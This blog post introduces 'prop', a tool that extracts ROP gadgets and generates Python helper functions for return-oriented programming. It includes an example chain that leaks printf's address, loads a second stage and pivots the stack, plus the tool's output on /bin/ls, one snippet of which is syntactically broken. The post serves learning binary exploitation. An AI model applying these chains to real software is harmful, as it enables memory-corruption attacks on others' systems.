Prop

tool ROP

prop is a tool to extract rop gadgets and generate python code that helps you create your rop chains automatically and by hand. This is a tool I developed while learning to exploit binaries using return oriented programming (ROP). It was a mostly for learning but it turned into something I’ve used ever since, and find very practical.

You can find it here: https://github.com/Vasco-jofra/prop

In the rest of this post I will explain how I write ROP chains and where I use prop to help me do it faster.

Simple ROPs

For very simple ROP exploits, for example when we are given a statically linked binary or just a very large binary, the amount of gadgets makes it simple to exploit. In these situations I simply use ROPgadget or a similar tool to automatically generate the rop chain. When the situation is tricker, that’s when I take advantage of prop.

Manually writing ROPs

With less gadgets, we might have to write the ROP chain by hand. My typical exploits look something like this:

def set_rdi(rdi):
    return "".join([
        p64(0x400ab3),  # ('pop rdi', 'ret') --> ['0x400ab3']
        p64(rdi),
    ])

def set_rsi_r15(rsi, r15):
    return "".join([
        p64(0x400ab1),  # ('pop rsi', 'pop r15', 'ret') --> ['0x400ab1']
        p64(rsi),
        p64(r15),
    ])

def set_rdx(rdx):
    return "".join([
        p64(0x4007cb),  # ('pop rdx', 'ret') --> ['0x4007cb']
        p64(rdx),
    ])

def set_rsp_r13_r14_r15(rsp, r13, r14, r15):
    return "".join(
        [
            p64(0x400aad),  # ('pop rsp', 'pop r13', 'pop r14', 'pop r15', 'ret') --> ['0x400aad']
            p64(rsp),
            p64(r13),
            p64(r14),
            p64(r15),
        ]
    )

def pivot(addr):
    return "".join([
        set_rsp_r13_r14_r15(addr - (8 * 3), 0, 0, 0),
    ])

# This example is an exploit that leaks the address of printf and then reads a second ROP and pivots there
ROP = "".join([
        # leak printf
        set_rdi(1),
        set_rsi_r15(elf.got['printf'], 0),
        set_rdx(8),
        p64(elf.plt['write']),

        # Load the second ROP
        set_rdi(0),
        set_rsi_r15(rop_2_addr, 0),
        set_rdx(rop_2_max_len),
        p64(elf.plt['read']),

        # Pivot to the second ROP
        pivot(rop_2_addr),
        p64(0xdeadbeef),
])

I’m not a big fan of writing exploits that look like this:

ROP = ""

# leak printf
ROP += p64(0x400ab3),  # ('pop rdi', 'ret') --> ['0x400ab3']
ROP += p64(1),
ROP += p64(0x400ab1),  # ('pop rsi', 'pop r15', 'ret') --> ['0x400ab1']
ROP += p64(elf.got['printf']),
ROP += p64(0),
ROP += p64(0x4007cb),  # ('pop rdx', 'ret') --> ['0x4007cb']
ROP += p64(8),
ROP += p64(elf.plt['write']),

# Load the second ROP
ROP += p64(0x400ab3),  # ('pop rdi', 'ret') --> ['0x400ab3']
ROP += p64(0),
# (...) and so on, you get the point

I prefer the higher abstraction of setting registers with these set_reg functions instead of just writing the addresses inline every time. It makes it simpler to understand, debug and modify exploits.

prop can generate these automatically! By running prop -c /bin/ls you will get all these functions. This would be the output:

# [INFO] Extracting gadgets for the binary '/bin/ls'
# [INFO] Extracting gadgets from the executable section 0x40-0x238
# [INFO] Found 0 unique gadgets in 0.01 seconds at depth 10.
# [INFO] Skipped 0
# [INFO] Extracting gadgets from the executable section 0x0-0x1e6e8
# [INFO] Found 1687 unique gadgets in 2.18 seconds at depth 10.
# [INFO] Skipped 2145

####################
def set_rbx(rbx):
	return "".join([
		p64(0x60d0), # ('pop rbx', 'ret') --> ['0x60d0', '0x618a', '0x63fc']
		p64(rbx),
	])

def set_rbp_r14(rbp, r14):
	return "".join([
		p64(0x629a), # ('pop rbp', 'pop r14', 'ret') --> ['0x629a', '0x920c', '0xc639']
		p64(rbp),
		p64(r14),
	])

# ...
# removed some for brevity
# ...

def set_rsp(rsp):
	return "".join([
		p64(0x6770), # ('pop rsp', 'ret') --> ['0x6770', '0x685a', '0x69e0']
		p64(rsp),
	])

def set_r12_r13_r14(r12, r13, r14):
	return "".join([
		p64(0x6297), # ('pop r12', 'pop r13', 'pop r14', 'ret') --> ['0x6297', '0x9209', '0xc636']
		p64(r12),
		p64(r13),
		p64(r14),
	])

####################
def syscall():
	return p64(0x988) # ('syscall',) --> ['0x988']
	# Other option: return p64(0xd352) # ('int 0x80',) --> ['0xd352', '0xf8c8', '0xf8d9']

####################
def write_what_where():
	return "".join([
		return p64(0x13602),  # ('mov [rdi], edx', 'ret') --> ['0x13602', '0x13601']
		# Other good option   : return p64(0x135be),  # ('mov [rdi], esi', 'ret') --> ['0x135be']
		# No control of 'from': return p64(0xdb10),  # ('mov [rdi], rcx', 'xor eax, eax', 'ret') --> ['0xdb10']
		# No control of 'from': return p64(0xdb11),  # ('mov [rdi], ecx', 'xor eax, eax', 'ret') --> ['0xdb11']
	])

As you can see besides looking for set_reg functions it will also try to find write-what-where and syscall gadgets which are also useful primitives.

Usage

prop -h

usage: prop [-h] [-d DEPTH] [-t] [-c] [-p] [-m MAX_ADDRS_PER_GADGET] [-s]
            binary_path

positional arguments:
  binary_path           The binary path of the file to be analyzed

optional arguments:
  -h, --help            show this help message and exit
  -d DEPTH, --depth DEPTH
                        Gadget search depth (default=10)
  -t, --text_gadgets    output gadgets in text format (default)
  -c, --code            output interesting gadgets found as python functions
  -p, --python_gadgets  output gadgets as a python dictionary
  -m MAX_ADDRS_PER_GADGET, --max_addrs_per_gadget MAX_ADDRS_PER_GADGET
                        the maximum number of addresses that are printed per
                        gadget (default=3)
  -s, --silent          no gadgets output, just some info